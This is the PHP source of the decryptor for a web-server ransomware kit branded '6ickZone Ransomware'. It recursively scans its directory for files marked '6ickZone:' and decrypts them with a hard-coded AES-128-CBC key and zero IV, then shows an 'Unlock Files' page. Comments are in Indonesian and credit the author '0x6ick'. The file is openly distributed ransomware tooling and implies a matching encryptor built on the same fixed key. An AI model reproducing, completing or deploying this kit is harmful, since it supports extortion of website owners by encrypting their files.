1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
/**
            * decryptor by 0x6ick ( Copyright 2025 by 6ickwhispers@gmail.com) 
          **/
set_time_limit(0);
error_reporting(0);

$key = "6ickZoneRansomKey"; // harus sama kayak yang waktu encrypt
$iv = str_repeat("\0", 16);

function decryptFile($file, $key, $iv) {
    $data = file_get_contents($file);
    if ($data === false) return false;

    if (substr($data, 0, 9) !== "6ickZone:") {
        return false; // bukan file terenkripsi, skip
    }

    $encrypted = base64_decode(substr($data, 9));
    $decrypted = openssl_decrypt($encrypted, 'AES-128-CBC', $key, 0, $iv);
    if ($decrypted === false) return false;

    return file_put_contents($file, $decrypted);
}

function scanAndDecrypt($dir, $key, $iv, &$count) {
    $files = scandir($dir);
    foreach ($files as $file) {
        if ($file === '.' || $file === '..') continue;

        $path = $dir . DIRECTORY_SEPARATOR . $file;
        if (is_dir($path)) {
            scanAndDecrypt($path, $key, $iv, $count);
        } elseif (is_file($path)) {
            if (decryptFile($path, $key, $iv)) {
                $count++;
            }
        }
    }
}

if (isset($_POST['unlock'])) {
    $rootDir = __DIR__;
    $count = 0;
    scanAndDecrypt($rootDir, $key, $iv, $count);
    $unlocked = true;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <title>6ickZone Ransomware - Decrypt</title>
    <style>
        body { background:#121212; color:#eee; font-family: Arial, sans-serif; text-align:center; padding: 50px; }
        h1 { color:#4caf50; }
        button { background:#4caf50; border:none; padding:15px 30px; color:#fff; font-size:16px; cursor:pointer; border-radius:5px; }
        button:hover { background:#388e3c; }
        .info { margin-top: 20px; font-size: 18px; }
        .footer { margin-top: 50px; font-size: 14px; color:#777; }
    </style>
</head>
<body>
    <h1>6ickZone Ransomware - Decryptor</h1>
    <p>Scan folder ini dan subfolder untuk unlock semua file terenkripsi.</p>

    <?php if (empty($unlocked)): ?>
        <form method="post">
            <button type="submit" name="unlock">Unlock Files</button>
        </form>
    <?php else: ?>
        <div class="info">
            <p>Selesai! Total file terbuka kembali: <strong><?= $count ?></strong></p>
        </div>
    <?php endif; ?>

    <div class="footer">by 0x6ick - 6ickZone</div>
</body>
</html>